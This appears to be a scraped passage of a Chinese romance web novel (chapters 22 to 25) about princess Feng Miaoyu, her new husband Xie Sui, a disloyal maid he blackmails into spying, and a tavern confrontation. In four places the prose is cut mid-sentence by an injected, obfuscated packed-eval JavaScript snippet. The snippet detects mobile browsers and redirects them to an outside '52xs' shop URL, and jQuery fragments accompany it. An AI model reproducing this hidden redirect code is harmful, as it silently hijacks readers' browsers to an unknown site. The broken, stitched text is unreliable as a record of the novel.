腰,腿又酸又软,像面条做的一样,还伴随着难言的不适感,她皱着眉勉强坐起身,吵醒她那窸窸窣窣的声音是从屏风后边传出来的。 谢随已经起来开始穿衣了,从她的角度只能看见半个背影,宽肩窄腰,漂亮的肩头上几道猫爪抓过般的红痕,她就低头看了看自己的手,又扫过一片狼藉的室内,昨天晚上还乖乖挂在床边的大红纱帘被人扯下揉成团扔在一边,金杯翻倒……冯妙瑜恨不得立刻挖个洞钻进去躲起来。 谢随走到床边,冯妙瑜虽然坐起来了,可人还迷瞪着,发丝凌乱,有些苍白的皮肤上青红痕迹密布,谢随又想起昨晚抱她去清洗时看到的星点血痕……他是恨她,却也没想过在这方面上故意折磨她,谢随抿着嘴,俯身帮冯妙瑜拢了拢衣领,动作轻柔。 “怎么不多睡一会,是我吵醒你了吗?”谢随道。 按来说今天早上应该要早起见姑舅的,但谢随情况特殊,这一步倒可省略了。冯妙瑜看他穿着整整齐齐的官服,他应该是准备去衙门应卯,脑子里却突然就蹦出“衣冠禽兽”这四个字,她立马摇了摇头。 “再多睡一会吧,你的侍女那边我会帮你交代好。” 冯妙瑜低低“嗯”了一声。她其实现在还没想好要怎么面对谢随,这刚好是个借口,她伸手拉着被子蒙在脸上,只是这回笼觉一睡就睡到了大中午。 阳光暖洋洋的落在屋里,屋里已经收拾过了,想必这就是谢随交代的内容之一了,窗明几净,桌子上的茶水还冒着淡淡的热气。 她突然就有一种被人照顾着的感觉。 心里好像一个充气鞠,有人噗呲噗呲地打了气进去,吹得鼓鼓的膨胀起来。 听到屋里的动响,有人进来服侍,却不是翠珠或是阿玉,而是一个宫里出来的老嬷嬷。 那位老嬷嬷原来是太医院的医女,姓陈,这次冯妙瑜出嫁宫里特地派来陪嫁的。毕竟翠珠和阿玉都是不通人事的姑娘,有些事情上面她们没有经验,也不是很方便。 昨晚听荷轩闹腾到了大半夜才消停下来,陈嬷嬷就知道不好,如今一看更是生气。这些年她见了太多不懂得爱惜自己的人,一面取了药膏过来,一面劈头盖脸一通指责。 “这驸马年轻没个分寸的,公主您自己怎么也不知晓分寸,就一味纵着驸马胡来?这到头来亏损的可是您自个儿的身子……” 那药膏有股好闻的青草味,冯妙瑜还沉浸在新婚燕尔的喜悦中,一只耳朵进一只耳朵出,陈嬷嬷的话她压根没听进去多少。 等用过早午膳,老蝉无精打采叫着,这个时候外面热得要命,再午睡的话又怕晚上睡不着,冯妙瑜就命人冰了些西瓜,一白,一黄,毛茸茸的两团猫儿缩在不远阴凉地上呼呼大睡,她拿了昨日收到的贺礼单子翻看起来。 来而不往,非礼也。这收了谁的礼,收了什么样的礼,日后都是要回礼过去的,反正无事,提前看看也是早有个准备。① 除了日常往来官员,谢随那边的宾客,张家自然也在贺礼单子上头,他们送了一尊白玉观音像,冯妙瑜看到后突然想起还有一桩事情。 如今她既不愿再掺和在父皇和张家之间两头为难,打铁要趁热,那有些事,有些人也是时候该处理一二了。 冯妙瑜合上贺礼单子,命人拿了近几年的账册账本,这个时候恰好阿玉进来给花瓶换水,冯妙瑜就吩咐了阿玉找翠珠过来。 翠珠正在后院里调理新来的小丫鬟,没多久便过来了。 她今日换了身新粉色衣裳,鎏金宝石耳坠子,手腕间还戴着一对红玛瑙镯子,从头到脚都是得脸的贴身侍女的气派,格外明艳出挑。 冯妙瑜笑了笑,抬手让其他人都出去。 阿玉去叫她时并没说冯妙瑜找她有什么事,翠珠又看到桌上堆着账本,便上前道:“公主怎么不多休息会?这劳什子账本什么时候看都行,您可仔细着保重身子呀。” “翠珠,你跟在我身边多久了?” “有七年多了吧。”翠珠有些疑惑,但还是如实答说了,说完她隐隐察觉到了一丝不对劲,于是又勉强笑笑道:“公主怎么突然问起这个来?” “你且回答我的问题就好。”冯妙瑜用银签取了块西瓜吃,语气平静,“翠珠,你说这七年来我待你如何?” 翠珠吞了吞口水,方才那种缥缈的预感蓦地变成了实打实的惶恐。 公主是不是知道了什么? 她这些年中饱私囊的事情,替张家监视公主的事情,还有她私下偷偷去威胁谢随敲竹杠的事情,公主知道了其中哪一桩事情……还是说她全部都知道了? “公主待奴婢自然是极好的。” 说得多,错得多。翠珠这时候不敢多说半个字。 “既然如此,你就没有什么要对我说的话吗?”冯妙瑜拍了拍手边的账册。 那里有一半是翠珠这些年做的账,另一半则是冯妙瑜找人一笔一笔核对后的账。翠珠这些年吞了多少,冯妙瑜也许比她本人还清楚。 翠珠打了寒战,知道是瞒不住了。 私自借着主子的名号吃回扣敛财,别说撵出府去,冯妙瑜若狠下心把她扭送到衙门里面,那可是要受杖刑的。屈辱不说,那一百脊杖下来,人不死也残了。于是她一下子扑通地跪在地上。 “奴婢一时被鬼迷了心窍,才做了这样的糊涂事情,公主饶了奴婢将这一回吧,奴婢再也不敢了!” “你做过的糊涂事何止这一桩?”冯妙瑜说,“那些事情要查也不难,宫里的东西都有定数,送去了那个宫里,那年那月那日又赏给了谁,差人去问一声就很清楚了——所以,你最好是一五一十都交代清楚了。” “是,是皇后娘娘要奴婢盯着公主的!”翠珠的肩膀一抽一抽的,她抬起头看着冯妙瑜,“奴婢也是出于无奈啊……那时奴婢家里已经揭不开锅了,父母兄妹十几口人,皇后娘娘许诺重金,奴婢怎能拒绝的了……” “那你都向母妃汇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“驸马,关于驸马奴婢还有一事想和公主说。您有所不知,驸马他……” 暖风扑了进来。 “我没有打扰到你们吧?”隔扇门被推开,有人轻轻地说。 谢随从外面走进来,他青色袍子上沾染了夏日的暑热味道,他淡淡看了眼站在屋里左右不是的翠珠,冲她礼貌地笑了笑,装作不明所以地问道。 翠珠觉得他那个笑里面暗藏深意,于是警惕地垂着头退了小半步。 “没,我们已经说的差不多了。”冯妙瑜摇头说,又看向翠珠,“你方才还有什么要说的?” 翠珠的声音太小,她没听太清楚。 如今当事人谢随就在眼前,被他似笑非笑的盯着,翠珠哪里敢再说什么,只摇摇头咕哝了句“没什么。” 谢随已经越过翠珠走到了桌边,像是随口一问。 “好像瞧着有点眼熟,这位姑娘是?” 这也不奇怪,毕竟翠珠和谢随是见过面的,只是没有正式介绍过而已。 冯妙瑜道:“这是翠珠,是我的贴身侍女之一。” 谢随点点头,坐在冯妙瑜对面,“公主在看什么?” 23. 23 “翻陈年烂谷子的账本而已,翠珠负责管着往来账项。”冯妙瑜笑道。 翠珠的事情本来就是成亲前遗留下来的旧事,她本人既然已经做出了选择,冯妙瑜就点到为止。翠珠是她的贴身侍女,这事情要是一传十,十传百的传出去,也许能起到个杀鸡儆猴的作用,但翠珠日后可就没脸服众,更别说吩咐下面的人做事了。 翠珠明白冯妙瑜的用意,她用眼角余光瞄了眼谢随,恭敬行礼下去了。 很快有侍女端着水盆进来伺候谢随净手,冯妙瑜一面装作整理账本,一面偷偷地看他。刀裁般的墨眉,漂亮的眼睛微微垂着,儿时无比仰慕的那个人真的成为了她的夫君,还有昨天晚上的亲近……早上她迷糊着倒没觉得有什么,这会清醒着就不一样了。 “谢公子怎么这么早就回来了?” 这个时候还没有到衙门下值的时辰呢。 冯妙瑜没话找话。 惯于握笔的手指上沾了透亮的水珠,阳光下水灵灵的,现剥的春笋嫩尖似的,谢随接过帕子,一根一根擦干了,随口敷衍道:“左右今日衙门里也没什么事情,就提前回来了。公主可好些了?” 其实是王大人体恤他才新婚,特地让他早些回府陪着冯妙瑜的。 “嗯。不要紧。” 冯妙瑜低低的应了一声。只是句再平常不过的关切话,她听了以后却有些脸热,欲盖弥彰地端起茶杯喝了口茶,又道:“谢公子以后就别叫我公主了吧。” 夫妻间还这样称呼听着太疏冷了些,也太分明了些。 “公主,这样恐怕不合礼制。”谢随委婉提醒道。 “在外面的话当然还是按规矩来,在家只有我们两人的时候就别叫我公主了,就叫我……”冯妙瑜愣住了。她还没想好。 其实论亲密叫小名当然是最好的,可狸娘这个小名她并不是很喜欢,好像她只是一只仰人鼻息度日的猫儿而不是一个活生生有喜有怒的人。那再叫什么好呢? 直接叫名字? 好像还是太疏远了些。 娘子? 又太肉麻了。 “妙瑜?”谢随试探着说,见冯妙瑜没有反对的意思,他说:“那日后你也别叫我谢公子了,叫我的名字就好。” 这时候阿玉进来问要不要传膳,冯妙瑜今日就吃了一顿饭,谢随也在衙门里忙活了大半天,虽然有点早,这会应该也饿了。冯妙瑜点了点头,不一会一道道菜就端上桌了。 公主府里的厨子还是原先的那几个,做菜自然也紧着冯妙瑜的口味,几样清淡时令小菜,然后就是几样精致小点心。冯妙瑜吃的心满意足,却见谢随除了那盘葵花肉丸外几乎没动筷子,想来是不和他的胃口吧。到时候得吩咐厨房的人也做点他喜欢吃的东西上来,冯妙瑜默默记在心里。 两人用过晚膳后天还微微亮着,凉风阵阵,十分的惬意,冯妙瑜提议道:“要不我们在府里逛逛?” 冯妙瑜本来是想和谢随两个人独处的培养一下感情的,只是这新长公主府她也只来过三四次,不是很熟悉,只好叫了个管事过来在前头远远的指路。 新长公主府占地极广,尤其是后花园,要是一处一处的逛下去还不知道要逛到什么时候,冯妙瑜就只挑了重要的地方去。正厅,花厅,厨房,绕了一小圈两人终于走到了藏书阁。 从葫芦形的门洞进去是个清幽的院子,鹅卵石铺地,四处种着竹子、枇杷等,正对着门的屋子是藏书阁,这里的东西厢房原先分别是书斋和茶室,后来被冯妙瑜改成了两间书房,中间以一条七拐八绕的鹅卵石小径相连,既不会太过于疏远,又保留了各自的隐私。东厢房是冯妙瑜的书房,里面藏着不少她珍藏的话本子,这个自然是不能让谢随看到的,她几个字草草带过,随后就拉着谢随进了西厢房。 “你觉得怎么样?” 厢房里面并不大,却五脏俱全。青竹书架,长条书桌,笔墨纸砚样样都是比照他之前的书房布置的,冯妙瑜有些紧张地看着谢随。 “多谢。你有心了。”谢随轻叹似的说。 冯妙瑜笑得很开心。背地里付出了多少心血其实不要紧,要紧的是那个人怎么看,怎么想。谢随看到了,还表示非常满意。冯妙瑜就高兴,心里高兴的直冒泡泡,于是那点付出也就变得不值得一提了。 “你喜欢就好,这只是简单收拾了一下。往后有什么缺的你尽管和管事说,或者和翠珠说也行。” 两人接下来又去了马房,厨房还有账房,冯妙瑜把公主府里的大小人物依次介绍给他认识,直到天色擦黑,两人才晃晃悠悠回了听荷轩。 冯妙瑜梳洗起来繁琐,等她沐浴更衣出来时,谢随已经靠在床上看了会书了。冯妙瑜走近发现他读的是一本诗集,她记得那是朝中几位老臣自掏腰包刊出的,以枯燥和死板著称,连他们的门生都不愿读的,得亏他能读的这样认真。 听到动响,谢随抬起头看了她一眼。她今日换了件月白色寝衣,上面绣着香气逼人的茉莉,其实那只是淡淡的一眼,冯妙瑜却下意识伸手拢了拢衣领。 她有些腿软。 虽然说和谢随那事也不是全无乐趣,但谢随在那方面和平日里翩翩公子模样完全判若两人,她实在是有些……招架不了。 冯妙瑜掀了被子在他身边躺下。 今日当差的似乎是个新来的侍女,屋里竟只点了一盏灯,湖风一溜进来就吹灭了,冯妙瑜正打算起身点灯,黑暗中,一具身体连同那人炽热的呼吸便顶在了她背上。 “可以吗?” 他的声音带着几分低哑,伴随着冰凉的吻沙沙扫过她的耳畔,冯妙瑜只觉得痒痒的,脖子上,心里,都是。 理智告诉她应该拒绝的,可她又想这是他们成亲的第二天。才第二天就拒绝他,似乎有点太扫兴了。谢随肯定不会说什么,甚至可能会安慰她说没关系的,但冯妙瑜还是担心他会有点不高兴。 爱一个人,就应该让他高兴不是吗。 冯妙瑜于是转身,两条胳膊藤蔓一样缠上了他的脖颈,很快就被迫着卷入风雨之中,摇摇欲坠,像是攀附在峭壁边缘,一松手,就会掉下去摔个粉碎。 第二天一早,冯妙瑜果然又睡到了日上三竿。看着陈嬷嬷比黑脸门神尉迟恭还要黑的脸色,冯妙瑜慢吞吞爬起来,有些头痛。 这样下去也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14471965|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个办法,若是每天都睡到这个时候才起,她还要不要做其他的事情了。 冯妙瑜突然有些后悔让谢随做校书郎了,一定是白日里差事太清闲了,这才这样有精神天天晚上作弄她,得给他找点事做才行。 等用过了早午膳,冯妙瑜就去了书房,往日来送信件的都是翠珠,今日却是阿玉。 阿玉抱着好大一个箱子进来了。 “翠珠呢?” 箱子落地发出了一声沉重的咣当声,阿玉答道:“奴婢也不清楚。翠珠说她这几日有事告假,今个一大早就出去了,还抱着一大包东西,神神秘秘的。” 估计是和过去的事情做了断去了,冯妙瑜心里有数,“你不必管她,”她又继续问:“这个箱子是怎么回事?” “早上连着信一起送到门房的,听说是从西境那边送过来的。” 西境? 那就是五皇妹冯妙瑶寄来的东西了,看来她托使团的人捎去的信送到了。只是这么大一个箱子,也不知道冯妙瑶都往里面装了什么好东西,冯妙瑶搓搓手,就说让阿玉打开来看看。 阿玉却摇摇头。 “锁上了。”她把箱子调转了个方向,让冯妙瑜看那个足有成人巴掌大的铁锁。 “没有钥匙吗?” 冯妙瑜抖了抖冯妙瑶寄来的信,里面轻飘飘的,只有半张纸的重量。 “不知道,”阿玉说,“门房的人就只收到了这两样。也许是他们粗心弄丢了,要奴婢吩咐他们去找找吗?” “不用,”冯妙瑜捂着脑门,肯定是妙瑶那丫头自己忘了把钥匙一同寄过来了,“直接砸了吧。阿玉,你去拿个榔头过来,再找个力气大的人过来砸……” 卡啦。 那是何等轻描淡写的一巴掌。随后,一只白白嫩嫩的手捡起了地上碎成两半的锁。 冯妙瑜眨了眨眼睛,阿玉把碎锁收拾到一边,扭头疑惑道:“公主,您刚说了什么吗?” “没什么。” 阿玉挠挠头,迟疑了一会才说,“可您为什么一直盯着奴婢的手看,可是奴婢的手上有什么东西?” “真的没什么,你手上这个镯子怪好看的,我就多看了两眼。”冯妙瑜的表情有些复杂。 那可是铁锁啊。 —— 翠珠到了傍晚才回府里,迎面正好撞见了往厨房走的阿玉。 “翠珠?”阿玉在后面叫了她一声,见她满脸倦意,就问道:“你这是怎么了?” “小日子而已,”翠珠随口编了个理由出来,又问:“姑爷可回府了?” “姑爷早就回来了,晚膳都用过了,这会去书房里收拾东西……”阿玉越想越不对,眼神变得有些奇怪,“翠珠,你问姑爷做什么?” “镇纸,”翠珠想都没想,脱口而出,“早上我出门前碰上了姑爷,他说书房缺件镇纸,让我挑些送过去。” 阿玉不疑有他。 翠珠走进书房时候,谢随正在写字,旁边站着一个小厮在帮他磨墨。见到翠珠,谢随没有丝毫意外,他打发那小厮去倒茶,支开了人。 翠珠咬着牙低声道:“谢大人是什么意思?” 24. 24 翠珠从袖里摸出一只玉石镯子拍在书桌上,那正是她当时留给谢随的信物。她的手都在抖。 狡兔三窟。 在冯妙瑜身边这些年,除了私自收了些财物外,她还偷偷在盛京和周边置办了几处田庄宅院。这些都是透过江湖上的中间人私底下进行的,冯妙瑜不可能知道这个,自然也就不在“了断”的范围内。 这算是她耍的一个小小的心机,也是她最后的退路了。 可她今日去找代她打理田庄事务的管事时,那管事竟然一脸歉意地说,她名下好几处田庄的权属有争议,田庄连着地契都被真正的物主给拿走了,还说那物主还给她留了个信物——翠珠看到那熟悉的玉石镯子后立马就反应过来了。是谢随搞的鬼。 “谢大人,”翠珠抬着下巴,强装镇定道:“你,您就不怕我把这些事情全部告诉公主?” “翠珠姑娘是聪明人。” 把事情抖出去对她可是全无好处,何况她现在能拿出来的证据只有区区一个手镯——那还是她自己的东西。根本证明不了什么。 谢随面上淡淡地笑着,依旧一派世家公子的云淡风轻模样,翠珠突然有些后背发冷。 这些事情她做的很隐蔽,绝对不是一两天能查出来的,所以,谢随是从什么时候开始的查她的?是从那日她去威胁他之后……不对。 分明直到昨日冯妙瑜才向谢随介绍了她,可那日她威胁谢随时,谢随的第一句话说的是“翠珠姑娘。” 他早就知道她是谁了。 他什么都知道,甚至她落到如今这个地步极有可能是他在背后一手操纵的。 谢随从旁拿起一叠地契,连带着几大张银票递给翠珠,“这是翠珠姑娘的东西,还有我答应了你的。” “这是封口费,还是卖身钱?” 翠珠闭了闭眼。本以为他是个冤大头,却不想撞上了铁板。如今她的经济命脉连带着小辫子都被他捏在手心里,她还有得选吗? “谢大人想让我做什么?”翠珠道。 “放心,并非难事。”谢随说,“你是公主的身边人,日后公主那里有什么事情,她见了什么人,都说了什么话,你事无巨细都汇报给我即可——就像你之前给皇后娘娘做的那样。” 他果然什么都知道。 翠珠捏着那一大沓价值万金的纸,只觉得沉重无比。 “谢大人可真是好算计......奴婢哪里敢说个不字出来呢。” 这个时候那小厮提着茶壶回来了,翠珠满肚子的火没地方撒,便狠狠瞪那小厮一眼,沉着脸行了个礼下去了。 —— 又在书房里处理一会儿公事,谢随才回了听荷轩。 听荷轩内灯火通明,屋子里摆满了大大小小的东西,毛茸茸的坐垫,奇怪形状的布团……谢随抬手拿过一物。 金线串了剔透的琉璃珠,展开也就比人手掌大一点,有点像女子的小衣,但要说是人的衣裳的话,又实在是过于透风了。这穿上能遮挡住什么。 谢随正疑惑着,一个想法突然从心里闪过。 难道是冯妙瑜对他这两晚的表现不满,又不好直说,所以才用这种方式委婉的提醒他? 谢随抿了抿嘴,拎着那件小衣往里走了两步,冯妙瑜正坐在地上翻捡东西,看见谢随回来,她高高兴兴冲谢随挥了挥手。 “谢公……”她很快改口,“你回来了,快来帮我看看——你觉得衔蝉会喜欢这个吗?” 说着,她举起了手里的串珠衣裳——款式一模一样,只是和谢随手里的“小衣”配色不同。 “这些是?”谢随愣了一下,问道。 “是五皇妹寄过来的东西,”冯妙瑜也有些无奈,指了指桌上的小匣子,“那里面是给我们的贺礼,地上这些都是给雪团的。她做的猫窝,猫玩具,还有猫儿的衣裳和首饰……只是眼下家里有两只猫,我想着得分一分,不能厚此薄彼才是。” 原是他想多了。 谢随默默把手里那件串珠衣裳放到了一旁。 等收拾完冯妙瑶寄来的一大堆东西,两人都累得够呛,草草洗漱了上床歇息。 屋里静极了,唯有月华透过碎玉的窗格沥沥流下的声音,冯妙瑜翻了个身,分明方才还困得要命,这会却怎么也睡不着了。 “你睡了吗?”她盯着纱帐发了会呆,轻声问道。 “没有。”半晌后,谢随淡淡回道。 冯妙瑜看着他的背影,又提议道:“既然睡不着,不如来聊会天?五皇妹寄了这么多东西过来,虽然说大部分都是给雪团的……但总得回礼才行,我还没想好回什么礼好,你帮我想想?” “回礼倒不在于贵重,最重要的还是投其所好吧。” “投其所好吗……妙瑶在信里说想吃宫里做的点心了,水晶龙凤糕、油浴饼什么的。可这些东西是要现做的才好吃,就算是八百里加急,等送到她手里也早放坏吃不成了。”冯妙瑜道。 “那寄原料过去如何?五公主身边应该有懂厨艺的仆下,到时候连着菜谱一起送过去。” “这倒是个办法,”冯妙瑜眼睛一亮,笑道:“这样一来就不只是点心,其他的吃食也能给她带过去了。我想想,除了吃食,应该再找人画几幅雪团的画给她送过去,然后再……” 谢随只是安静地听着。冯妙瑜的声音慢慢低下去了,又一点一点消融 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488833|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在月光和微尘里。 谢随翻过身。冯妙瑜已经睡着了,侧脸沉静,长长的睫毛随着她呼吸的节奏微微起伏,他心里忽然感觉到一股难以言说的平静,如静水,亦如今晚月色。 谢随就看着她,良久,他伸手帮她拉起了已经卷到腰间的薄被。 等冯妙瑜睡醒来时,外面阴沉沉的,还飘着点小雨。谢随一早已经去衙门应卯了,阿玉则在门口数落人,这倒是件罕见事。 等阿玉进来,冯妙瑜一面梳洗一面问她,“怎么一大早的就训斥人?” “值夜的小丫头忒粗心了,奴婢早先交代过她们这听荷轩的烛灯是一晚上不能断的,可早上来时奴婢却见屋里没有一盏灯亮着。”阿玉道。 闻言,冯妙瑜愣了一下。 昨天晚上侍女忘记了留灯吗?可她昨晚睡得很好…… 这算是好的变化吧? “算了,以后就不用留灯了。”冯妙瑜笑了笑,轻声道。 —— 虽说要给冯妙瑶寄的东西列个单子吩咐下人去跑一趟就是,但毕竟是给妹妹的东西,冯妙瑜还是想亲力亲为,一早便带上阿玉和侍卫们出门了。 索性都是些寻常原料,青盖小车在东市转了一圈就采买齐全了,雨已停歇,冯妙瑜就和阿玉一道站在外面监督店小二往车里搬东西。 白日里的市坊热闹极了,贩夫走卒,车水马龙,粮油铺子对面的胡饼铺子跑出来一个抱着布老虎的小姑娘,她盯着两人看了许久,突然转身进去拉了一个布衣妇人出来。 “囡囡啊,没看见阿娘在忙吗,到底什么事……” 布衣妇人原本皱着眉头,出来看到阿玉后,却陡然眼前一亮。 “这,这不是玉姑娘嘛!” 说着,那布衣妇人又看见阿玉身前站着的冯妙瑜。 阿玉穿着打扮已是不俗,可她旁边那个梳着妇人发髻的年轻女子却更为出挑,白上衣,底下是齐胸宝石蓝色瑞锦花纹裙,一条翠烟似的水绿披帛,发髻间雕花玉栉莹润细腻……再加上阿玉对那女子的态度,不难猜出冯妙瑜的身份。 “多谢夫人!” 那妇人拉着小姑娘的手匆匆走来行了个大礼。 冯妙瑜虽然不认识这个布衣妇人,但阿玉应该是知道的,她暗暗用眼神戳了阿玉好几次,阿玉才反应过来,小声说道:“这是范氏和她的女儿——她的夫君是周阿七,咱们府里原先的车夫。” 冯妙瑜微微一怔。 府里原先的车夫,那这布衣妇人就是周阿七的遗孀了。如果不是因为她,想来周阿七也不会死在回猎场的路上……她哪能受这个礼。冯妙瑜往旁边迈了半步,又叫阿玉扶人起来。 25. 25 范氏盛情再三,冯妙瑜实在难拒,只好随着她进了铺子里。那间铺面不大,胜在位置极好,临着街道,还未到午膳时候店里已坐了三四桌人。 冯妙瑜想她当时只拨了银子叫阿玉去安顿周阿七后事,并未做细的安排,难得阿玉做的这样妥帖,冯妙瑜就觉得奇怪,便趁着范氏起身去招呼客人的空档问了句。 阿玉果然摇头。 “这主意是一个叫榴红的小丫鬟出的,她说是金山银山也有花光的一日,范氏既有手艺傍身,与其给银子倒不如盘个铺子给她做买卖。奴婢觉得她说的在理,就按她的主意安排了。”阿玉说。 那个叫榴红的倒是个机灵的。 “回府后你把她叫过来,我要见见她。”冯妙瑜就说。 如今府里的事务繁多,光靠翠珠和阿玉两人管着实在是力不从心,若能再多个机灵能顶事的就再好不过了,一则能帮着分担府里的事务,二则能削削翠珠的权——她似乎有点太依赖翠珠了。 正说着,范氏端来一盘刚出炉的胡饼过来,热气腾腾的,还带着麦子的清香。 “实在没什么能拿的出手的,还希望您不嫌弃。”范氏局促的在衣摆上擦擦手。 冯妙瑜摇摇头,正常来说她经口的每一样吃食都要先由下面的人试毒,但范氏正一脸期待看着,她只是个普通妇人,这样做未免会伤了她的心。于是冯妙瑜顶着阿玉不善的眼光小小地尝了一口。 只是一小口,应该不要紧的。 “谢谢,非常好吃。剩下这些我想买下来带回去。”冯妙瑜说。 “不用,不用,也不值几个钱的。” 范氏摆手,转身拿了荷叶和细绳过来打包,她话不多,手底下的动作干脆利落。 “在这里的生意还好吗?”冯妙瑜问道。 范氏点点头,又抿嘴笑了,她指了下靠窗坐着的两个客人。 “这里离平康坊近,过来吃饭的人很多。大多是像他们一样来盛京赶考的读书人,都是些讲道理的人,很少有那种难缠的客人。” 那两人都穿着细布襕袍,一个穿蓝色,一个穿青色。范氏女儿的布老虎不小心滚到他们桌下,那个穿青色襕袍的人弯腰捡起布老虎递给范氏的女儿。 “阿叔,我听说你们是从很远的地方过来的。那你们有没有见过真正的老虎啊?老虎真的会吃人吗?”范氏的女儿道了谢,大声问。 这个年纪的小孩是最好奇的,一问起问题来就没完没了,范氏怕她打扰到客人,赶紧走过去拉开女儿致歉。 “不要紧,不要紧。我家里的女孩儿也差不多是这个年纪。”蓝色襕袍挠挠头,他是个大个子,说话时带着点外地口音,“唉,都好几年了,希望今年能一次中试,不然可是没脸回去见家里人啊。” “王兄何必妄自菲薄?你熟读经书,去年是因为吃坏了肚子,今年正常发挥肯定能中的。”青色襕袍安慰道。 店内的客人们虽然不过萍水相逢,却也笑着鼓励他两句。炉子里冒出来的热气轻飘飘把小店分成了两个世界,他们的声音隔着水雾远远飘来。 冯妙瑜静静听了一会,“我们待的够久了,走吧。” 她们还未起身,竹制帘子“唰”的一下子掀开,显然是又有客人进来。范氏扭头,“欢迎——” 浓重的酒气扑面而来。一个锦衣男子率先进来,后面跟着两个大马金刀的壮汉,三人腰间都吊着长刀。 京畿地区兵器管理严格,哪怕衙役街吏也只有在当差时才允许佩剑。这三人并未穿着官服,应该是大户人家的护院侍从之流吧。 “老板,上六个胡饼,再把你们店最好的酒都拿上来!” 为首的那个锦衣男子叫道。他仰着头刻意拉了下衣领,好叫人注意到他衣裳上华美流动的花纹。众人投向他的目光多是莫名其妙,那其实是种看傻子的眼神,他却相当享受。 “几位客官,那个,那个小店里没有酒水……”范氏往锦衣男子身后望了一眼,战战兢兢地说。 锦衣男子身后两个壮汉满脸横肉,眼神凶狠,门神似的矗在那里,就差把“我很不好惹”四个大字刺在脑门上了。 “没有你不会出去买啊,老太婆。”两个壮汉分明和范氏差不多年纪,其中一个却搡着范氏的肩,一面大声骂道。 “这位子不错,你们给我坐那边去。”锦衣男子的视线转了一圈,最后落在窗边。长刀拍在桌上,他居高临下道。 “这位兄台,”青色襕袍一脸奇怪,语气还是很客气的,“我们还没有吃完呢。凡事总得讲道理,讲究个先来后到吧?” “先来后到?”锦衣男子笑了,“小爷我今个还就非坐在这不可了。这些大道理你留着和我的刀讲去吧。” 说着,他竟抽刀。雪白刀光闪过,那青色襕袍头上黑色的儒生冠一分为二,连着几根发丝掉在地上。 青色襕袍摸了摸脑门,面色惨白。 锦衣男子哈哈大笑,他慢慢地抬头,一脸傲色,睥睨众人。 “杀人啦!” 店内不知道是谁带头尖叫一声,众人鸟兽似的受惊向外跑开。 蓝色襕袍也怕极了,两瓣嘴唇上下打架,结结巴巴的,但他还是说:“光天化日,天子脚下,你,你竟然当街行凶,还有没有王法了?” 冯妙瑜眉头一皱,没想到盛京还有如此放诞无礼之徒。锦衣男子拿着长刀在空中刷刷挽了几个刀花,又用刀尖挑起地上的儒生冠,嘲笑道:“你再多说一句,我就把你也劈成两半,就如此冠!” “中看不中用。”阿玉评价。 她是宫里千里挑一选出来的暗卫,在她眼里这几人不过是挥舞着树枝炫耀打闹的稚童。师傅给她上的第一课就是不要轻易出手,一旦拔出刀剑就该以雷霆之势了结对方……或者被对方了结了。 有在这拿着刀乱挥撂狠话的功夫,早死八九十次了。 “是谁?”锦衣男子怒道。 他本来打算好好教训一下那个没长眼笑话他的姑娘,让她吃个苦头……扭过头,却是眼前一亮。 说话的是个身材娇小的年轻姑娘,她旁边坐着一个梳了妇人发髻的姑娘,两人皆是难得一见的好颜色,说话的那个冷若冰霜,坐着的那个艳似牡丹,锦衣男子又见两人穿着和排场,想来不过是小富人家的太太和侍女。 他吞了下口水,只觉得今日真是撞了大运。 于是他理了理衣裳上前。 “都说相见就是缘分,这附近有间不错的酒楼,他们家的软兜长鱼做得极好,在下想做东请两位姑娘,不知道两位姑娘可否赏个脸?” “你是何人?”冯妙瑜问。 “姑娘别怕,我不是什么怪人。姑娘可知道咱们献王殿下?我姓刘,我姐姐是献王殿下枕边人,我就在献王殿下身边当差。” 献王可是当今圣上的亲兄弟,皇亲国戚,那可不是谁都能沾得上边的。 他一脸得意,本想借着身份压一压面前两个姑娘,只是一个一脸漠然,那表情好像在说“哦,所以呢?”,另外一个则依旧冷若冰霜,连眼皮都没动一下……刘三想了下,最后只能归结于这两姑娘是被他的身份给吓傻了。 他咳嗽两声又换了个姿势,特地亮出腰间精致的金镶玉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14506034|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带钩。 “两位姑娘若是不想吃东西,那不如一同在东市里逛逛?姑娘们想要什么,只管开口就是,就是要天上的星星,龙王宫里的珍珠,我也绝不说一个不字。” “不必。我夫家虽然不是皇亲国戚,却也不至于缺少衣食。”冯妙瑜道。 